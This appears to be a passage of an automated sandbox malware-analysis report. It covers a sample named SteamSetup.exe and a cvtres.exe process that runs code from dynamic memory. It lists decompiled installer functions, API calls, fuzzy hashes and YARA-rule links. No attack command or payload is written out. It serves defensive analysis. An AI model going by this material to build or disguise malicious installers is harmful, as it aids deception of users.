Part of subcall function 004052DD: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405370
Part of subcall function 004052DD: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405398

Part of subcall function 0040585E: CreateProcessW.KERNEL32 ref: 00405887
Part of subcall function 0040585E: CloseHandle.KERNEL32(?), ref: 00405894

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32 ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: a78f467d102d634b70d0cd300a6522cd21a94210720227bbe75178bdad148be0
Instruction ID: 5702df78c33f9bd13decba52644e1012fe72a42f767711efff684f6f7274af03
Opcode Fuzzy Hash: a78f467d102d634b70d0cd300a6522cd21a94210720227bbe75178bdad148be0
Instruction Fuzzy Hash: FF11A131900508EBCF21AF91CD4499E7AB6AF40314F21407BFA05B61F1D7798A92DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00403C9D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C9D(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = L"1033";
				_t13 = 0xffff;
				_t6 = E004060DE(__ecx, L"1033");
				while(1) {
					_t26 =  *0x42a284;
					if(_t26 == 0) {
						goto L7;
					}
					_t16 =  *( *0x42a250 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x42a280;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x429220 = _t18[1];
					 *0x42a2e8 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42921c = _t23;
						E004060C5(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextW( *0x423708, E004061A0(_t13, _t24, _t26, 0x429240, 0xfffffffe));
						_t11 =  *0x42a26c;
						_t27 =  *0x42a268;
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t11 = E004061A0(_t13, _t25, _t27, _t27 + 0x18, _t11);
							}
							_t27 = _t27 + 0x818;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

0x00403ca1
0x00403ca6
0x00403cac
0x00403cb1
0x00403cb1
0x00403cb9
0x00000000
0x00000000
0x00403cc1
0x00403cc9
0x00403ccb
0x00403cd1
0x00403cd1
0x00403cd3
0x00403cdf
0x00000000
0x00000000
0x00403ce3
0x00000000
0x00000000
0x00000000
0x00403ce5
0x00403cea
0x00403cf3
0x00403cf9
0x00403cfe
0x00403d12
0x00403d1d
0x00403d35
0x00403d3b
0x00403d40
0x00403d48
0x00403d69
0x00403d69
0x00403d69
0x00403d4a
0x00403d4c
0x00403d4c
0x00403d50
0x00403d57
0x00403d57
0x00403d5c
0x00403d62
0x00403d62
0x00000000
0x00403d4c
0x00403d00
0x00403d05
0x00403d0e
0x00403d07
0x00403d07
0x00403d07
0x00403d05

APIs

SetWindowTextW.USER32(00000000,00429240), ref: 00403D35

Strings

1033, xrefs: 00403CA1, 00403CAB, 00403D1C
"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" , xrefs: 00403C9E

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\AppData\Local\Temp\SteamSetup.exe" $1033
API String ID: 530164218-545549039
Opcode ID: 9d022d01f112da27556ef407cc074c94f0222ef42f22569fe4f3b5c0e17e7ae8
Instruction ID: 4786a0dcc4ba2f930af81554b1ec9cb86176e7a1d2ad565e9f211a7c6dcc4e6b
Opcode Fuzzy Hash: 9d022d01f112da27556ef407cc074c94f0222ef42f22569fe4f3b5c0e17e7ae8
Instruction Fuzzy Hash: 7111C331B44210ABD7359F15EC40A337B6CEF85715B28427BE801AB3A1C63A9D1296A9

Uniqueness

Uniqueness Score: -1.00%

Function 00405251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00405251(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x423714 != _t16) {
							_push(_t16);
							_push(6);
							 *0x423714 = _t16;
							E00404C27();
						}
						L11:
						return CallWindowProcW( *0x42371c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404BA7(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E0040428E(0x413);
				return 0;
			}

0x00405255
0x0040525f
0x0040527b
0x0040529d
0x004052a0
0x004052a6
0x004052b0
0x004052b1
0x004052b3
0x004052b9
0x004052b9
0x004052c3
0x00000000
0x004052d1
0x00405288
0x004052c0
0x004052c0
0x00000000
0x004052c0
0x00405294
0x00405296
0x00000000
0x00405296
0x00405265
0x00000000
0x00000000
0x0040526c
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00405280
CallWindowProcW.USER32(?,?,?,?), ref: 004052D1

Part of subcall function 0040428E: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004042A0

Strings

, xrefs: 00405261

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1c38682ff548693de77d02b4aeee144e7a7efb8abd51762e205331c359b10038
Instruction ID: 35360b72f4910b777185a6264b25dc7760dbd7dc789205491e41d57b326ac1ec
Opcode Fuzzy Hash: 1c38682ff548693de77d02b4aeee144e7a7efb8abd51762e205331c359b10038
Instruction Fuzzy Hash: 6B019E71210708ABDF208F11DD84E9B3A35EF94321F60443AFA00761D1C77A8D529E6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040585E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040585E(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x426730->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x426730,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405867
0x00405887
0x0040588f
0x00405894
0x00000000
0x0040589a
0x0040589e

APIs

CreateProcessW.KERNEL32 ref: 00405887
CloseHandle.KERNEL32(?), ref: 00405894

Strings

Error launching installer, xrefs: 00405871

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 03ab27a360793ac613c0483ba4ee8f6366951212bcf32abb356d437eb8ce57e6
Instruction ID: 0fb7bd0647ee639374dbc29985885c8cd5f4694ddcbbc5ba66c50ad851a9a680
Opcode Fuzzy Hash: 03ab27a360793ac613c0483ba4ee8f6366951212bcf32abb356d437eb8ce57e6
Instruction Fuzzy Hash: 22E04FB0A002097FEB009B64ED45F7B77ACEB04208F408431BD00F2150D77498248A78

Uniqueness

Uniqueness Score: -1.00%

Function 00405B7E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405B7E(WCHAR* _a4) {
				WCHAR* _t5;
				WCHAR* _t7;

				_t7 = _a4;
				_t5 =  &(_t7[lstrlenW(_t7)]);
				while( *_t5 != 0x5c) {
					_push(_t5);
					_push(_t7);
					_t5 = CharPrevW();
					if(_t5 > _t7) {
						continue;
					}
					break;
				}
				 *_t5 =  *_t5 & 0x00000000;
				return  &(_t5[1]);
			}

0x00405b7f
0x00405b89
0x00405b8c
0x00405b92
0x00405b93
0x00405b94
0x00405b9c
0x00000000
0x00000000
0x00000000
0x00405b9c
0x00405b9e
0x00405ba6

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\AppData\Local\Temp,00402EAD,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\SteamSetup.exe,C:\Users\user\AppData\Local\Temp\SteamSetup.exe,80000000,00000003), ref: 00405B84
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\AppData\Local\Temp,00402EAD,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\SteamSetup.exe,C:\Users\user\AppData\Local\Temp\SteamSetup.exe,80000000,00000003), ref: 00405B94

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00405B7E

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 2709904686-501415292
Opcode ID: 1e2f59ad4ff0707ecda417660e1f53ddee00da6e1af2314932cd9a88429354c1
Instruction ID: 87bbc210c64b19a6b78a00595756172ded5dec919d443e3f73ce50da7c0279be
Opcode Fuzzy Hash: 1e2f59ad4ff0707ecda417660e1f53ddee00da6e1af2314932cd9a88429354c1
Instruction Fuzzy Hash: D4D05EB24009209AD312AB04DD00DAF77ACEF163007464426E841AB166D778BC8186BC

Uniqueness

Uniqueness Score: -1.00%

Function 00405CB8 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CB8(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405cc8
0x00405cca
0x00405ccd
0x00405cf9
0x00405cd2
0x00405cdb
0x00405ce0
0x00405ceb
0x00405cee
0x00405d0a
0x00405cf0
0x00405cf7
0x00000000
0x00405cf7
0x00405d03
0x00405d07
0x00405d07
0x00405d01
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CC8
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CE0
CharNextA.USER32(00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CF1
lstrlenA.KERNEL32(00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CFA

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d13a305aa79855a3845d1893bd1e44018cb4e3b8a4cc5142433a7699c001be6c
Instruction ID: b09c91cad7c2282b041c35ea214dbdd3f15ee75aa50bf55fe933874c09a5e2ef
Opcode Fuzzy Hash: d13a305aa79855a3845d1893bd1e44018cb4e3b8a4cc5142433a7699c001be6c
Instruction Fuzzy Hash: BFF0F631104954FFD702DFA5DD04E9FBBA8EF06350B2180BAE841F7210D674DE01ABA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cvtres.exePID: 7332, Parent PID: 5676COMMON

Execution Graph

Execution Coverage:	13.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	35
Total number of Limit Nodes:	0

Executed Functions

Function 054CF898 Relevance: 2.9, Strings: 2, Instructions: 363
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7, xrefs: 054CF8D8
k+4m^, xrefs: 054CF8C3, 054CF8E9

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID: 7$k+4m^
API String ID: 0-2297228361
Opcode ID: 4e5fc82e119185e13c34a694293c5af572ca5b362d8ef63e8b4e1caf53a50f51
Instruction ID: 40c71ad3a79ddff417c2a18e841d1f7235f99479477d65c1508fec54ff4be194
Opcode Fuzzy Hash: 4e5fc82e119185e13c34a694293c5af572ca5b362d8ef63e8b4e1caf53a50f51
Instruction Fuzzy Hash: E9D1C035B006059BCB54DFA9D454AAFBBF3BFC8310B14856ED406A7390DB34AD0ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 09B92D70 Relevance: 1.7, APIs: 1, Instructions: 223
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 09B93012

Memory Dump Source

Source File: 00000007.00000002.627050705.0000000009B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9b90000_cvtres.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f5f85bc24382f2790c9d27a438c9a7dd79ae28d39df5695d7f6b00f4640d96e3
Instruction ID: 612fb0ea22491c3c3b3ad03ede1f1ec3ee7b11b6f64f8b0b1cfbfb5b03f0be58
Opcode Fuzzy Hash: f5f85bc24382f2790c9d27a438c9a7dd79ae28d39df5695d7f6b00f4640d96e3
Instruction Fuzzy Hash: 8891AD74E102098FCF04DFA9D88479EFBB2EF88310F14C169E809AB395DB759845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 09B90418 Relevance: 1.6, APIs: 1, Instructions: 89
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 09B93012

Memory Dump Source

Source File: 00000007.00000002.627050705.0000000009B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9b90000_cvtres.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c2da50f14a8165c97f24831bfbc0bd5e5344078be73e215d7445c3423d2ab8ac
Instruction ID: 844b134dd6bb9b59642fcc4369ef749dd29e5b33b2afbabeb4b063e7f6a28ab5
Opcode Fuzzy Hash: c2da50f14a8165c97f24831bfbc0bd5e5344078be73e215d7445c3423d2ab8ac
Instruction Fuzzy Hash: 9F3153B4D20249DFDF10CFA9C88579EBBF1EB08724F108169E815A7380D7B99885CF95

Uniqueness

Uniqueness Score: -1.00%

Function 054CAF3F Relevance: 1.4, Strings: 1, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c@4m^, xrefs: 054CB110

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID: c@4m^
API String ID: 0-1977591475
Opcode ID: 9be633bb297e178f17c3c0900c7d55db288fdf9ec90873b1c958123a7d460d61
Instruction ID: ac2aa27a223b5bdf0ee3d3332a96aeb337102bd2e974e3a2a1f12ca214ef7653
Opcode Fuzzy Hash: 9be633bb297e178f17c3c0900c7d55db288fdf9ec90873b1c958123a7d460d61
Instruction Fuzzy Hash: 8451E2756002448FC710EF6DD858ADABBF2EF99314F14889ED1459B362DB31EC49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 054C0993 Relevance: 1.4, Strings: 1, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

S4m^, xrefs: 054C0C15, 054C0C1A

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID: S4m^
API String ID: 0-135234842
Opcode ID: c7c07c28626d890a8a3b312f7033ed920309b1f174f9a9013067f3ce3ea73f04
Instruction ID: 460bdbd3a762d8b7b6665f4a3109a85aac9500d20536aa8e9fc945aaf987879c
Opcode Fuzzy Hash: c7c07c28626d890a8a3b312f7033ed920309b1f174f9a9013067f3ce3ea73f04
Instruction Fuzzy Hash: 67615134610349CFCB14DF68F96D99E7B72FB88306B10851EE1015B2A7DB746A89CF54

Uniqueness

Uniqueness Score: -1.00%

Function 054C09B0 Relevance: 1.4, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

S4m^, xrefs: 054C0C15, 054C0C1A

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID: S4m^
API String ID: 0-135234842
Opcode ID: 038f63b6dfc8a188d1d367120ad47dba7709a4638dfa430a7aaa1f96a70864e7
Instruction ID: 9a31ee5cdf1288defa7304aad74da7de190eeb42525bad4f74d6880171377549
Opcode Fuzzy Hash: 038f63b6dfc8a188d1d367120ad47dba7709a4638dfa430a7aaa1f96a70864e7
Instruction Fuzzy Hash: 0D514E34610349CFCB14DF68F86D9AE7BB6FB88306B10841DE1015B2A7DB742A89CF94

Uniqueness

Uniqueness Score: -1.00%

Function 054CAF9B Relevance: 1.4, Strings: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c@4m^, xrefs: 054CB110

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID: c@4m^
API String ID: 0-1977591475
Opcode ID: bb1f4b3a7253641aebdaf01fd77163692d7fb5d964aaa4e05aec81bfdbcdd164
Instruction ID: e5866f6306fa6aa988f6d4527ecff5e2234ec6d772352ba0cf3483e4f19a7fc9
Opcode Fuzzy Hash: bb1f4b3a7253641aebdaf01fd77163692d7fb5d964aaa4e05aec81bfdbcdd164
Instruction Fuzzy Hash: 1C51D2756002089FC710DF69D448A9ABBF6FF99314F1084AED1059B361CB72EC49CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 054CAFA8 Relevance: 1.4, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c@4m^, xrefs: 054CB110

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID: c@4m^
API String ID: 0-1977591475
Opcode ID: 5a52fc69ab6ce7fdb346c8131d4a4d30d27577ae8b905bb232ada4c33b60a9b4
Instruction ID: 768bebf2328a62c21671687b8e310fac3c9c5fb6ef61fd09764e1d18a5a16ea6
Opcode Fuzzy Hash: 5a52fc69ab6ce7fdb346c8131d4a4d30d27577ae8b905bb232ada4c33b60a9b4
Instruction Fuzzy Hash: EB31A2343101049FC754EB69E858A5AB7E7EFD5340B14C8ADE2068B3A5DE72EC49CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 054CAF98 Relevance: 1.3, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c@4m^, xrefs: 054CB110

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID: c@4m^
API String ID: 0-1977591475
Opcode ID: f39c24cb7ea6efd810da0a202f5067dff938e232cab68674e6cf02a2deffb420
Instruction ID: ea63f3f642b5680d9e64f77917eadb8366fb168d24b9c6d948fb9604facf96e6
Opcode Fuzzy Hash: f39c24cb7ea6efd810da0a202f5067dff938e232cab68674e6cf02a2deffb420
Instruction Fuzzy Hash: 0431D1393002419FC704EF69E45495ABBE3FF96214714C8AED2058F362DB72EC4ACB80

Uniqueness

Uniqueness Score: -1.00%

Function 054CAB74 Relevance: 1.3, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[23I, xrefs: 054CAB74

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID: [23I
API String ID: 0-745814800
Opcode ID: b9b337e15753dd018dc24d1b6c035440198c2a8764fcff5d0fbb13986807bc7e
Instruction ID: 55c2b4d775dcfa63b002db3af662c74f51c5a30b2c39fef574b9b5d3676476e1
Opcode Fuzzy Hash: b9b337e15753dd018dc24d1b6c035440198c2a8764fcff5d0fbb13986807bc7e
Instruction Fuzzy Hash: 522148B59002098FDB10CF9AD945BEEBBF5FB88314F50846EE405A3340D774A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 054CD258 Relevance: 1.3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k+4m^, xrefs: 054CD285, 054CD2DC

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID: k+4m^
API String ID: 0-2844302704
Opcode ID: 8c4f0c1ae5f0b53c241178f7ea6ad4f1d74712d743f27390ce90fceae56917ea
Instruction ID: e685caf697c91ccb8a8c81306fbcc4a5b0d03cb25976abf26042d8ef7295ec1b
Opcode Fuzzy Hash: 8c4f0c1ae5f0b53c241178f7ea6ad4f1d74712d743f27390ce90fceae56917ea
Instruction Fuzzy Hash: 5211E639B046859BC769DB69A09867F7A93EBC4610700C47ED40B87340CF74D80287D1

Uniqueness

Uniqueness Score: -1.00%

Function 054CD248 Relevance: 1.3, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k+4m^, xrefs: 054CD285, 054CD2DC

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

